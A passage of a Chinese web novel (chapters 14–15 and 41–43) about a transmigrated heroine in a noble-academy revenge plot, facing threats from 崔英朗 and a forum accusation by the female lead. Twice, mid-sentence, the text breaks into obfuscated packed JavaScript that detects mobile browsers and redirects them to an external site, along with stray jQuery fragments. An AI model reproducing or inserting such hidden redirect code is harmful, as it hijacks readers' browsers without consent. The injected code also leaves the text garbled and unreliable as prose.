中心区的道路经过管控,想要离开,必须高价雇佣有通行证的私家车。 她打完电话,顺手点了一下手机。 13个未接电话,和5个未读消息。 全部来自许市。 两个小时前。 [许市:你的东西都在我手里,想要?求我啊。不过求我我也不会给你,贱人,我要把这堆破烂全部扔到垃圾堆里。] 一个半小时前。 [许市:求我,我考虑一下还给你,毕竟这些对你来说不便宜吧。] 一个小时前。 [许市:我要扔到垃圾桶里了,这堆破烂实在是太占位置了,贱民的东西果然廉价。] 半个小时前。 [许市:扔了,这堆垃圾,卖废品也卖不出去。] 五分钟前。 [许市:你人呢?] “嘀嘀。” 一辆黑色的轿车停到路边,司机闪了闪灯,将前方的车窗摇下来一点,向外面招手。 安蔓按灭手机,松了一口气,她稍稍放松了下来,打量了一下四周就想要离开。遇见韶景荻的唯一好处,就是逃过了崔英朗的视线。 谁知道她刚刚迈出一步,忽然浑身一轻,整个人被提着领子拽起来! 视野摇晃起来,整个人被拔高了一截,她的面前是摇晃的树木,滚烫的呼吸扑到她的后颈,低沉的声音传到耳边,让她浑身汗毛倒竖。 她对上了一双金色的、流光溢彩的眼睛。 “抓到你了,小老鼠。” 崔英朗说。 14.第 14 章 14. 云顶餐厅坐落在城市高空。 餐厅典雅奢华的摆设、做工繁复的装饰,装点着象牙白的墙面,逶迤华丽的暗红色帷幔拉开,露出一整面足以俯瞰整个城市的落地窗。 此刻天色微暗,城市已有几处亮起了灯火,银色金质的光点迤逦交织,甚至能看到不远处高耸的皇家古堡和华美的玫瑰花园。 女职工端上一盆猩红的水牛肉。 仿佛刚从猎物身上切割下来的生肉,不断淌着血水,露出覆盖着一层透明薄膜、微微鼓动的深红肌理。 云顶餐被人清过场,空空荡荡。 女职工端上生肉、肝脏,转头看着安静坐着的安蔓。 她穿着黑色制服,漆黑的发丝有些凌乱地散开,双手交叠放在膝盖上,显得格外老实。 “崔少爷马上就会过来。” 女职工深吸一口气,感觉心情十分复杂,“我本来以为你总算是要攀上高枝了,没想到完蛋的这么快,崔少爷为了找你还特地调了路上的监控……” 安蔓温顺地坐着,脸上露出了乖巧的表情,“我可能哪里不小心惹到崔少爷了……” 安蔓怎么也没想到,韶景荻说的“说不定会发生恐怖的事”,是这种事啊。 如果当时不下车,可能不会立即遇到崔英朗,但是有可能会被韶景荻玩弄。 下车,崔英朗有无数种方法逮住她。 这个人当着所有人的面,把她从路边抓了回来,然后扔到云顶餐厅里让她等着。 她拒绝去想自己等待的是什么事。 女职工的表情甚至有点怜悯了,“崔少爷其实对你还不错,我以为你好不容易的次得偿所愿,结果……” 原主在和崔英朗在俱乐部碰了第无数次面,又凑巧在学校相遇过几次后,不经意地表露出了自己“害怕遭受欺凌、想要给家人更好生活、不得不勤工俭学咬牙撑起谎言”的倔强少女人设。 崔少爷自然对这种事不会有什么表示,他的表现十分平淡,只是在某次来俱乐部的时候,随口提起她是德川同学。之后原主就发现她的工作变的十分轻松,甚至可以长期请假,一个月自由上班而工资不变。 受人恩惠——有了。 背后说人——有了。 简直是韶景荻口中恐怖故事的复刻版。 而她面对的是刚刚关过禁闭、暴力烦躁、毫无顾忌的凶残版崔英朗。 “崔少爷来了,我先走了。”女职工的表情充满同情,“如果你今天能活……能好好离开,记得把衣服和铭牌留在这里,主管已经把你辞退了。” 安蔓:“……” 女职工离开之后,有人过来搬运设备。 是那个在拳击台边叫住她的服务生,这个人与女职工相反,一言不发地搬运信号源设备、投影屏、音响等,捣弄了一番器械,直到幕布上出现了清晰的画面。 弄完了之后,他转向餐厅的另一侧,将头垂得很低,恭恭敬敬地弯下了腰,“崔少爷。” 对最先响起的同样是脚步声。 不疾不徐,清晰缓慢。 安蔓心脏开始疯狂跳动。 她跟着转向目光。 视线尽头出现一道颀长的身影,他的眼睛是昂贵的深金,身材高峻挺拔,深色的长风衣拂过桌角,皮鞋踏过地面。 同时足边,亦步亦趋地跟着一只浑身黑色条纹、皮毛金灿的老虎。 男生深深鞠躬,没有抬头,双手捧着一个黑色遥控器的递上了去。 崔英朗走到安蔓身边,眼睛也没抬,点了一下遥控器。 幕布上的光影迅速流动起来。 “谈灵秋,你以为你是谁啊!” 首先出现的是一张妆容艳丽的脸,视觉自上而下,晃动的十分厉害,但在画面里能够看清这人好看的脸。 卷曲的头发光泽柔顺,每一个弧度仿佛精心设计,自然地垂在她殷红的唇边,美艳又精致。 ——原主的脸。 虽然两个人一模一样,但是感觉很不一样,这种恐怖谷效应令人无比诡异。 安蔓努力平息剧烈跳动的心脏。 这是一本贵族学院复仇文,复仇的对象,包括所有伤害女主和女主家庭的人——也包括原主。 原主在陷害了她后,很快陷入了不安,因为她发现女主似乎和崔英朗认识,而且关系很好,一向诸事不管高高在上的崔英朗甚至在发现女主受欺负后,出手解决过一次。这种情况下原主慌不择路,在不安感的驱使下,在又一次被刻意激怒后攻击了女主。 “你以为有崔英朗给你做靠山就了不起吗!可笑。那种神经病能那么嚣张,还不是仗着有背景。” “那种喜怒无常的神经病比较适合做狗!还有你——”尖利的声音有点破音,吼出了一半突然暂停。 啪。 崔英朗点了一下遥控器。 视频暂停,倒带,继续播放。 “我看崔英朗那种喜怒无常的神经病比较适合做狗!” 视频被再次暂停。 倒带。播放。 “……适合做狗!” 暂停。 这次的暂停之后,并没有立刻再次倒带重播。 视频的画面停留在原主涂的鲜红、丰满、因为骂人而愤怒张开的嘴上。 餐厅里一片死寂,就连小老虎都安静地趴在一边不再动弹,静的安蔓能听到自己慌张、躁动的心跳。 “我……”她咽了咽唾沫。 崔英朗按下播放,视频再次正常前进,画面迅速变动,更多更糟糕的言论正在从视频里被一一吐出。 另一个共处一室的主人公还在问她,“你怎么看?” “我……” 安蔓哽住了。 老天,她为何如此命运多舛。 “啪!” 她被突如其来的声音吓得抖了一下。 抬头一看,是崔英朗扔下了遥控。 他缓步走到安蔓身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14882164|159348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,拍了拍她的脸,然后猛然掐住她的下巴把她一把按在桌上,金蜜色的瞳孔流淌着凶暴的光,“你们这些人真让我困惑啊,你开始说我想和我做朋友,现在又说厌恶我,变得太快了,我都搞不清楚了。” 安蔓被按在桌上,她的肩膀被撞了一下,来不及疼痛,就下意识的瑟缩了一下。 崔英朗捏着她的脸,手指深深地掐了下去,软肉从指缝溢出,他笑着开口,“说话啊!” 安蔓的双腿开始发软,这真的很考验膀胱。 她垂下眼睑,长而浓密睫毛,如同停在眼角振翅欲飞的黑色蝴蝶,楚楚可怜的同时,开始思考怎么狡辩——哦不,怎么解释。 原著说,崔英朗是个比较表里分明、言行如一的人,行为比较随心所欲,爱憎分明,对待敌人如同冬天般的严酷,对待朋友好像也没多温暖。但是,一旦获取了他的信任,他是一条上好的狗,一柄趁手的刀,能够为你一掷千两肋插刀。 他本人比较率性自如,简而言之就是粗通人性,性格残暴,是一道极其艰难的关卡。 “对不起,我也不是故意的,只是……抱歉,话都说出口了,你就当全是我的错吧。想惩罚就惩罚我一个人吧。” 安蔓的大脑迅速思考,露出了任人宰割、献祭者的模样,低低地垂下修长优美的脖子。 “什么意思,你想说这不是你的想法?有人在逼你?”崔英朗掐着她的脸,五官凑的极近,眼睛对眼睛,黑色瞳孔对金色瞳孔,近的能看见表情上每丝细微的颤动。 他的五官轮廓极深,十分立体,有种森然阴郁的俊美。 可惜唯一的受众欣赏不来,反而闭上眼睛,满脸痛苦。 “抱歉,可能是因为平时听多了,激动的时候不小心……对不起,这不是我的本意。” 安蔓一出口就自觉失言,紧紧闭着眼睛,一副甘愿引颈受戮的样子。 “你是说,有人在你身边说了这些,你听多了才脱口而出?” 崔英朗忽然笑了起来,他端详着安蔓的脸庞,像是觉得十分有意思,瞳孔却带着百无聊赖的厌烦和隐约躁动的疯狂。 安蔓抗拒摇头:“不,不是这个,不要误会,你猜错了。不是的。” 她表情清冷,别着脸倔强道:“不,不是他的错,是我自己想出这些的。” “你想说谁,我想想,你平时身边有谁……江赫?” 安蔓闭嘴摇头,这可不是我说的,是你自己想的啊。 “真是谎话都不会编,小老鼠,我以为你能想到更有意思的借口。” 崔英朗掐着她的脸笑了起来:“你以为我是傻子吗?刚才你和韶景荻还在那里恩恩爱爱。” 他忽然猛地捏住她的脸颊,把她按在落地窗,逼她看着窗外傍晚的霞光,高耸入云的楼塔,以及距离空中餐厅遥远的、偶有车辆经过的地面。 崔英道掐着她的脖子,露出一个大阴森森的微笑,“死骗子,再说一句谎话,我就把你从这里扔下去。” 15.第 15 章 15. 遥控器掉在地上,视频又开始继续播放。 安蔓脸颊贴着冰冷的落地窗,眼睛注视着窗外渐次黯淡的晚霞,不远处伫立的皇家古堡已经早早点起了蜡烛,跳动的火光在天光下若隐若现 。 她浑身血液都几乎凝固了!肌肉紧张,呼吸不畅,胃部甚至应激般地抽痛了一下。 一股强大的求生欲在内心爆发,让她想也没想地脱口而出:“因为……我越轨了!” 崔英朗的手指松了松,“……你说什么?” 这个姿势太诡异了。 安蔓起了一身的鸡皮疙瘩,靠在冰凉玻璃上,努力组织语言,轻声细语,“是、是这样的,其实我和江赫一直相互爱慕,彼此之间情根深重。但是人嘛,你也知道,偶尔思想也会开开小差……” “你是想说你同时是江赫和韶景荻的女朋友?”不知为何,崔英朗的声音听起来怪异极了。 安蔓咳嗽了几声,有点不太好意思了:“也不能这么说,我其实和两人都不是交往关系……” 按着她的手忽然松开了。 安蔓感觉浑身一轻,笼罩在身上的压力蓦然撤去,她喘了一口气,贴着玻璃慢慢滑坐在柔软的羊毛地毯上。 趴在地上的小老虎歪了歪头,突然站起走到她的身边,轻轻嗅了嗅,粗尾巴左右乱扫。 安蔓指尖触到一片毛茸的触感,老虎的皮毛油光滑亮,神采奕奕。它嗅了半天,不知道是不是感觉到了主人的情绪,猛然龇牙。 安蔓脸上的表情扭曲了一下。 怎么连动物都欺负她! 主人和动物一样讨厌,令人厌恶,想揍。 “谈灵秋,你以为你是谁呀!” 旁边的幕布又开始自动播放视频,尖利的声音在空空荡荡的餐厅回响。 安蔓的眼前忽然一暗,崔英朗蹲了下来,歪了歪头,深金色的瞳孔直勾勾地盯着她。 他挡住了背面的光线,和他平行的老虎也歪了歪头,脸上的胡须抖动一下。 崔英朗玩味道,“真有意思。” 安蔓:“……”你这个人也没有好到哪里去。 她一直怀疑崔英朗可能某种绿帽癖,他非常喜欢和江赫竞争。 在原著崔英朗的眼中,世界上只划分为两种人,一种是低微如尘埃不需要入眼上心,而另一种是和他同一阶级、能稍稍得他认同的朋友和亲人。江赫和韶家兄弟就是几个,尤其是江赫,书里任何江赫感兴趣的人他也会产生兴趣。 ——“……你以为有崔英朗给你做靠山就了不起吗?” 视频随着时间慢慢推进,一道道声音从旁边炸开。 崔英朗直勾勾地看着她,声音缓慢开口,“你是说,韶景荻和江赫都倾心于你?” 安蔓开始胡言乱语:“……也没有,我和韶景荻只是逢场作戏罢了,只有英俊帅气冷酷的江级长才是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14888658|159348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的真爱。” ——“……能那么嚣张,还不是仗着有背景。” “哈哈。” 崔英朗捂住了脸,居然笑了起来,他的下颚绷紧,嘴角弧度拉平,眼中却充满戾气,用力鼓掌,“你太有意思了!让我甚至想放过你了——只要你证明自己说的是真的。” 他伸手从安蔓的衣服身边边拿起什么,握在手中。 她这才发现自己的手机,不知道什么时候掉在了地上。 崔英朗拿起手机划开屏幕,然后调转方向,在她眼前停了一下。 人脸识别成功,屏幕自动解锁。 他打开通讯录,在里面输入了一串号码,点了下去,然后把手机扔到安蔓面前,“你不是说和江赫两情相悦吗?证明给我看。” 安蔓低头一看,上面显示着备注名【江赫】的号码。 正在拨通号码【江赫】。 ——“我看崔英朗那种喜怒无常的神经病比较适合做狗!” 一句话在旁边炸开。 安蔓抖了一下,忍不住闭了闭眼睛,睁开眼时,流动的光影打在崔英朗侧脸,让他的整张脸一刹清晰无比。 他居然在笑。 他笑的慢条斯理,俊美暴戾的脸上阴气森森,充满了浓浓的压迫感。 “你想让我做狗?” 金色的眼睛在黑暗中微微发亮,猩红的舌尖缓缓舔过犬牙,“总要抛点诱饵出来吧,主人。” 40-50 第41章 第41章韶家 41. “哈哈哈!” 韶景荻像是被她的提议逗笑了,在医院的走廊突兀停下,捂着肚子笑弯了腰,似乎听到了什么特别有趣的话,“你好敢想啊,公主,太好玩了,哈哈!你让我给你当狗?” 安蔓的声音清清冷冷,一点没有被逗笑,“不行吗?” 韶景荻原地踱步,又停到了手术室外。抬头一看,手术进行中,已经转为绿灯,手术室被缓缓打开。 刚刚做完了手术的崔英朗昏睡着, 紧闭双眼,被人推回了病房。 他饶有兴味,兴奋得心跳加快,“当然可以啊,没问题啊~为什么不行?” “那就好,崔叔叔那边麻烦你了。” 安蔓说完挂了电话,不给他留下继续发挥的机会,“学校见。” 她抬眼望向后视镜,云元奇在短短的几句谈话中,已经从后视镜看了他许多遍,被发现了,也只是镇定地收回目光,“快到了。” 安蔓应了一声,打开系统面板,发现就算韶景荻答应做狗,但【总任务:攻略男主一二三四,并让他们给她做狗】还是冷冰冰的(进度0%)。 可恶,果然还是要先攻略吗! 没感情的纯狗就不行吗! 韶景荻就是个纯粹的乐子人,对于他来说,平凡无趣,只要有意思的,无论什么事都可以尝试。 包括做狗。 所以轻而易举,玩笑般答应了这个提议。 他会提供保护,但不会太用心,一切依旧麻烦至极。 特别是崔英朗不知道什么时候出院,这个疯子,现在对她恨得要命。一旦回校,极有可能对她疯狂报复。 “到了。”云元奇开口。 安蔓收回思绪,向窗外一看。 小车停留在一座豪华的庄园外。庄园坐落市郊地段,被绿意环绕,周围是修剪精致的草坪,草坪中耸立着一座巨型喷泉,喷泉中央洁白的座天使雕像手持利刃,刀尖喷薄出薄薄的水雾。 两个石狮拱卫着气势恢宏的主宅,宅前向外修筑了一条旷阔的石板路,庄园正门是一座巨大的铁艺拱门,门上镶嵌着繁复的花枝和小天使图,门口红色的警报灯闪烁起来。 “注意注意,正门入口处发现一名陌生访客,男性,穿着蓝色的衣服,驾驶一辆红色宾利车……” 安蔓错愕地看向窗外,透过后视镜盯住前面的云元奇,大脑混乱,“不是,你这给我送哪里来了!” 云元奇的语气很是温和,有点内疚,但还是一五一十对着韶景戈的吩咐,在安蔓没有反应过来的时候,把人拉到了这里,“抱歉,骗了你,这不是回学校的路。” 安蔓:“???” “这是韶家。”云元奇顿了顿,“两位少爷马上回来。” 第42章 第42章谈灵秋 42. 云元奇顿了顿,再次开口,“韶家将我拒之门外了很久,其实我也有点私心,想要借着这个机会,再次打开韶家的门。” 天呐,这个世界上怎么这么多神经病! 安蔓坐在小车后座上,目光冷淡地看着云元奇,手指已经开始摸索车内砸人的物件,最后摸到了一瓶还没开封的矿泉水,“是吗?” 云元奇透过后视镜看了她一眼,又移开目光,眼神十分克制,略略带了一些沉迷,“很抱歉,骗了你,算我欠你一次,我的名片你应该还留着吧?如果有我能帮得上忙的地方请打电话给我。” 他忽然感觉头顶一凉,有什么液体从额头上淌了下来,是冷冰冰的水。扭头看见安蔓目光冷漠,握着一瓶矿泉水,从他头顶浇了下去! 水流打湿了他的头发、衣领,黏糊糊地贴在身上,他的目光变冷一点。 “傻x。”就见安蔓浇完了水,将塑料瓶和盖子往他身上用力一扔! 云元奇抿唇,伸手拨开被泼湿的头发,抽纸擦拭脖子上的水渍,克制开口,“我下车和他们沟通,你等会儿下来。” 系统惊呼:“宿主,你莽的让我害怕!” 安蔓哼了一声:“崔、江我不敢惹,这个明显有求于我的,我还不敢出手吗?我可是受害者!” 系统一语道破:“这不就是欺软怕硬吗!” 安蔓恼怒:“废物闭嘴,你没资格说话!” 她骂完系统,拉开车门,下了车。 夜风凛冽,刚一下车她就被冷了一个哆嗦,彻底看清周围的环境,周围是一望无际的黑暗,黑压压的山峰耸立在不远处,树林中还有乌鸦鸣叫穿行。 她打了个哆嗦,在黑暗里走了一会儿,打开手机,发现这个位置连地图都没有标注,联系打车师傅,也没人愿意接。 只能给韶景荻又打了个电话,“你认识云元奇吗?” “有点印象,怎么啦公主~” 安蔓怏怏转身向回去,“这个脑残把我送到你家了,怎么回学校。” 对面顿了一声,哈哈大笑起来,“好坏啊,怎么这样啊!我可以让人送你回去,但是现在到学校的话已经半夜了吧,管理早就落锁了。” 安蔓:“我去找个酒店。” “不用那么麻烦。”韶景荻说,“我给管家打个电话,让人照顾你,你就先安心在我家睡下,反正我父母不在家,哈哈哈哈!” “谢谢你啊。”安蔓面无表情挂断了电话,回到车边。 云元奇表情焦急,正好在到处找她,急得要叫人,见她回来重重松了口气,“我以为你……外面风大,不太安全,我们赶紧进去吧。” “滚。”安蔓嘴唇微动,上了车,看也不看他,只注视窗外。 韶家门口上的红色警示灯已经熄灭,从宅邸到铁门宽阔的路面骤然亮起灯光,精致的铁门缓缓打开,迎接宾客。 安蔓伸手按住太阳穴,开始在脑中疯狂翻动关于韶家资料。 原著里,韶家是一个迷信的家族,家族势力骤起骤落,毫无规律,信奉一些不可知的东西,崇尚神秘学,这点,从双生子的待遇上就可以看出。 因为自小双生,又是唯二的新生儿,出生之后家里气运一路走高,韶家把两个小孩奉为金童,父母溺爱,且不管事,家里给了他们极大的自由度和权力,成长过程中简直是要风得风,要雨得雨。 在这个环境下,这对双生子共享外貌、喜好、感官,共有一切,彼此重视,轻视除了对方外的一切。 小车开入停车场,管家迎了上来,让人将云元奇送到一边,接着将安蔓恭敬地迎进客房。 他笑容、姿态礼貌端正,脊背挺直,“安小姐,我们少爷吩咐过我,已经为你备齐了洗漱用品和衣物,安排好了房间,有什么想要的请尽情吩咐。” 安蔓问,“如果我想等他们回来呢?” 管家的笑容看起来十分真诚,“您可以先行睡下,如果实在要等的话,可以等他们回来让人通知您。” 语毕,他就彬彬有礼的退出了房间。 安蔓又将脸上的愤怒停了一阵,见旁边没有监控,放松下来。 几个男主中,韶家两兄弟,是她接触最浅的,正好可以趁此机会,加深了解。 她伸手捏起桌上的一块糕点,精致小巧的手作点心,被制作星、月的图案。 墙上挂着身生六翼、蒙眼赤足淌过荆棘、怀中抱有婴儿、脸色悲悯的大天使像。 “迷信。”安蔓扔下糕点,走进卫生间洗漱,换了一身崭新宽松的睡裙后,躺到床上,给自己设了闹钟。 这一整天过的跌宕起伏,疲惫不堪,但她还没忘记崔英朗那个疯子。 她垂下眼睛,疲惫地坐在床上,吩咐外面的人,“等你们少爷回家了,请叫醒我。”. 安蔓闭上眼睛。 她的指尖感觉到了浓密、毛茸茸的触感,温热的阳光照在脸颊,有活物在手心耸动,她睁开眼,在被子上看到一颗黑色卷毛 的人头。 “啊!”她尖叫了一声,下意识地伸手抓住那颗头,头颅吃痛叫了一声,转了转方向,露出一张唇红齿白的脸。 白脸渗出泪花,韶景荻楚楚可怜,“抓痛我了,主人。” 安蔓:“……你有病吗,你怎么在这!” 韶景荻歪着头,微笑起来,露出两颗尖尖的、鲨鱼一样的牙齿,“因为我是狗啊。小狗当然要跟主人一起睡,对吧,小猫?” 安蔓手心下耸动的脑袋抖落被子,露出毛茸茸的脑袋。 小老虎的皮毛油光发亮,尾巴乱甩,喉咙里低低咆哮,正用长着倒刺的舌头,龇牙咧嘴地给自己舔毛。 “汪汪。” 门外钻入一只大贵宾犬,用身体挤开门缝,身后跟着4只一模一样的小犬,脚步哒哒地走了进来,听到这声吼叫,立刻转了个弯,又哒哒向外走。 一只颜色娇嫩的粉鹦鹉,姿态优雅地从空中扑腾进来,落在梳妆台上,拍着翅膀落嘎嘎笑,“太阳晒屁股了!太阳晒屁股了!” 安蔓更沉默了:“这些是什么!” “除了那个老虎,都是我的宠物。”韶景荻笑眯眯地看着她,“还有更多,你要看吗?” 安蔓干干净净,一尘不染,穿着一条白色的睡裙躺在床上,垂眼地看着那只小老虎。 小老虎在她的手边滚来滚去,她却一动不动,脸色有点发白:“……你才应该被叫公主吧。” 韶景荻没有回答这句话。 他的心情十分雀跃,还有某种跃跃欲试的期待,半躺在床上,伸手抵着自己的脑袋,上下注视她。 他昨晚熬了个通宵,没有睡觉,一直守在医院里,无聊地玩手机看新闻,在外面走来走去,还给打了麻药沉睡的崔英朗讲睡前故事。他看见江赫联系后台清理监控录像,然后面对着又赶回来的崔先生挺直脊背,说“我们打了一架”。 江赫话里丝毫没有提到安蔓,自己揽下责任,结束后也没联系她,只是不知道想到什么,忽然走到了一片狼藉的休息室里,弯腰捡起了一块饼干,握在手里。 韶景荻对安蔓越来越好奇了,她像是一个未知、神秘、难以捉摸,并且杀伤力巨大的黑色漩涡,将所有想要靠近她的人,猛然卷入,撕扯,最后就像崔英朗一样,遍体鳞伤。 今天,这道迷人的黑色漩涡,出现在他家的床上。 他养了五彩斑斓的热带鱼,亲手接生了四只小贵宾犬,还有一只在家里到处乱跑的松鼠,一群被圈养在棚里的兔子、在国外的牧场里还有唧唧叫的狐狸、牛羊、生态箱里还养了爬宠。 但是从来没养过人。 韶景荻十分兴奋,楚楚可怜的看着她,指着自己的脑袋,“狗狗不能躺在主人怀里吗?” 安蔓嘴唇发干,惊魂未定,吸了一口气,伸出手按住他的脑袋,敷衍地揉了一下,“狗狗乖。” 韶景荻有些不满,“太敷衍了吧!” 安蔓伸手盖住眼睛,揉了一下,“因为我还没睡醒。” “那我带你醒醒神!” 韶景荻跳了起来,兴致勃勃拉着她,一一介绍,“这个是我的狗。” 从远处绕回来的贵宾犬,在主人的脚边蹭了蹭脑袋,温驯地摇摇尾巴。 四只贵宾幼崽,一起摇摇尾巴。 “这个是我的鸟,寄养的老虎,松鼠到处乱跑,可能在楼下。楼上有爬虫室,里面养了蛇和蜥蜴。” 韶景荻这样客房里的东西介绍完,最后指着墙上的挂画说,“这是我小时候的画像。” 墙上的画像里,两个一模一样,并肩而立的小孩握着手,穿着白色长袍,头发编成麻花辫,漂亮的雌雄莫辨,笑容天真无邪,乖乖地坐在软椅子上。 她平静地看着墙上天真乖巧的画像,心不在焉,满脑子都是崔英朗到底醒了没有。 她真的有点怕那个疯子! 明明血湿润润流了一地,他却像是完全感觉不到疼痛,被拖走时的眼神阴沉又怨毒。 “可爱。”安蔓说。 韶景荻不太满意,不高兴了,“这么敷衍吗,好吧,那我们来谈论一下你感兴趣的事。你还认识谈灵秋吧,她可是被你害惨了。” 安蔓猛然抬头,困惑问,“什么?” 谈灵秋,是这本贵族学院复仇文女主的名字。也是原主死敌。 《德川高校秘密恋情》是一个贵族学院复仇文世界。 女主出生在一个简单温馨的家庭,父亲当了贵族学院的教授,母亲是父亲的助手,家庭富裕温馨,亲人和睦,女主自己也成绩优异,前途无量。 但后来情况突变,突然父亲因为贪污被判入狱,母亲诉讼无果后离家出走,自己也被迫远走他乡改名换姓,从此黑化。 女主多年后,卧薪尝胆,以资优生第一名考入父亲曾经任教的大学——首都贵族大学,决心寻找真相。 这时候,她遇到了进入学校以来的最大阻碍——也就是原主。 原主最开始的人设非常好,身心皆美,性格温柔如水细致入微,从不仗着自己的优势横行霸道,可谓是名副其实的女神。 又美丽,又善良,又富裕,而且是罕有的,能和几个男主和平共处的角色。 在女主入学后,跌跌撞撞,犯了很多忌讳的情况下,十分体贴,不仅没有觉得女主是来破坏她和男主们之间的感情的,还主动在女主接近男主们的时候伸出援手,告诉女主和他们日常相处的诀窍,像一个大姐姐一样为女主辅导功课,如同春日的暖阳让人感到安心。 然后在女主彻底信任她的时候,给予女主狠辣一击! 她公开宣称,女主为了嫁入豪门,接近站在金字塔顶端的男主们,偷偷在她的酒水里下了药。然后摆出许多十分可信的“证据”。 校花粉丝如云,从者甚多,自带热度。 此言一出,全校哗然,女主彻底成了全校公敌,为了躲避欺凌,休了一个学期学,暗中整垮原主。 韶景荻现在,却不急着说了,把安蔓拉到旁的沙发上,然后从身后抱住她,将头埋在她的肩膀上,困倦开口,“她被你整惨了呢,本来请假了一学期,现在提前回来了。” 他撸猫似的撸她,兴致勃勃摸她头发, 她但是完全被这个消息震惊到了,整个人都呆滞起来,没有丝毫反抗,只是催促着,“快说。” 韶景荻不紧不慢,扫视了一下桌面,拿了个面包递在她嘴边,慢吞吞地说了自己才得到的消息,“没什么,就是她提前回来哦,然后在论坛上控诉你罢了。” 安蔓张嘴咬住面包,整个人被突然出现的剧情搞得有些懵,根据他说的打开论坛,脑子里一片浆糊。 书里说,陷害的事情一出,女主百口莫辩,莫名其妙。 为摆脱嫌疑,暂时休学,进行私下进行调查,结果越调查越不对劲。 校花原主——原来是个骗子! 她是个彻头彻尾的表演型人格,根本不是富豪的独生女。与之相反,她的家境十分一般,只是个超市老板的女儿。 但是依靠美丽的外貌,大胆的心态,给自己捏造了一个华丽的人设。 靠着这套人设,她无往不利,身边追随者如云,在学校里钓了无数条殷切的小鱼。 但是她很注重名声,没有接受任何人的邀请,而是主动筛选猎物,接近几位男主,然后装成漂亮温柔的姐姐,除掉女主这个竞争者。 女主获知一切后,冷静无比,果断进行反击,着手毁掉原主在意的一切。 原著里说,谈灵秋下学期才会回来。 她和原主是仇人,因为程度不轻,难以化解,出现的时间也偏后,所以安蔓将她优先级调后了。 安蔓:“她回来了?” 韶景荻也知道两人的纠葛,当时安蔓的身份还没翻车,这件事在论坛上闹得沸沸扬扬,没人相信一个特招生,所有人将矛头一致偏向于她,逼迫她暂时休学了。 这是一个不小的仇。 韶景荻因为一些原因认识谈灵秋,也知道这件事,和她的性格,猜测这个人或许是通过论坛发现了最近的帖子,看到“校花”的声誉居然没有跌破谷底,还有上升的趋势,于是受不了仇人翻身、受到青睐,于是再次站出来,碾碎她! “你完蛋啦,亲爱的。”韶景荻笑眯眯地说。 安蔓顾不得他,打开了论坛贴, 【我是谈灵秋,一个被欺凌到产生心理问题, 最后不得不休学的特招生,本来只准备躲避风头,做一只缩头乌龟,但结果看着最近的论坛风向,受不了了。】 【我实名举证,我们的“校花”安蔓,以前仗着身份对我进行栽赃陷害,我可以举证,大家请看[视频]。】 第43章 第43章韶景荻 43. 安蔓点开视频。 视频和上次被人发给崔英朗的一样,一共只有几秒,晃动的镜头,对准了原主精致的脸。 原主站在空无一人的教室里,轻飘飘地对着拍摄者开口说,声音得意洋洋,“就算我撒谎了,又怎么样?反正,没人相信你。” 几秒后,视频结束,谈灵秋在里面没有开口。 安蔓刷新了一下帖子,下面已经陆陆续续汇聚起了高楼。 【这算不算实锤了,太勇了,直接发到论坛里面贴脸啊!】 【不算吧,里面又没有说名字,也没有说具体时间,万一说的是校花身份撒谎那件事呢?】 【是啊,也不是第一次撒谎了。】 【话别说的太死,这个特招生态度这么笃定,说不定手里还有更可信的证据呢?】 【这个事情要是确定了就不得了了,风纪会该不会又要出手了吧,多次事故相加,屡教不改,校花是不是完了?】 【别啊,我还挺喜欢她。】 安蔓眼睑微动,专心翻动一会。 仇恨是暂时没法化解了,显然对方不准备善罢甘休,化解仇恨,现在最大的问题是,谈灵秋手里到底有没有其它的、有威胁性的料? 她心念一动,耳边忽然响起一道电子音。 【系统检测到新任务发布中……】 【叮!任务六:想做一个名副其实的校花,需要内外兼修。请努力提升你在德川的声誉,度过公投吧!】 【当前声誉:你在学校声名狼藉,但也引起了一些重要人物的注意。】 安蔓沉默了:“……哇塞,到底还有多少坑!原著里不是没今天这事吗!” 系统害怕挨骂,非常小声:“可能是因为剧情里,这时候原主已经被搞掉了……所以不需要再发视频了。” 安蔓平静到有些麻木:“我可以处理掉她吗?” 系统:“谁,女主吗?不能使用非法手段!!” 安蔓烦了:“意思是合法可以是吧,你这个没用的废物,到底能干嘛啊!!” 安蔓按灭手机,有点烦躁,刚想开口,嘴里就被塞进一块软糕。 她咬了几口,清甜的味道在口中扩散。 她咽下去,抬起眼睛,楚楚可怜道,“怎么办啊?哈尼。” 韶景荻充满兴趣,看着她一边看视频,一边机械性吃进他投喂的东西,脸上表情风云变幻,很想知道她到底什么时候才回神。 他以前就爱投喂动物,给落难的幼鸟梳洗毛发,端上食盘。给人喂食的感觉更加新奇一点,他喂一盘软糕,又喂了一块面包,还怕人呛到,递上去一杯牛奶。 安蔓注意力全在手机上,全都机械性地吞了,喂什么吃什么,温顺的要命,直到咽下最后一口才反应过来,表情重新变得可怜。 韶景荻搂着她的腰,笑眯眯道,“放心,小狗当然会为主人解决所有问题。” 她的演技好差。 他很好奇,她在崔英朗和江赫面前,是不是也是这副样子。 安蔓很可怜地松了一口气,“我就知道,亲爱的,你拿这种事来问我,肯定已经有了对策。” 韶景荻从她手里取下喝空的玻璃杯,放在桌上,压低了声音诱哄,“但是,如果我帮你解决了问题,是不是应该给我一点奖励呢?” 安蔓挣脱他的怀抱,声音也压低了,“你想要什么奖励。” 韶景荻:“很简单。” 他昨天围观全程,好奇的不得了! 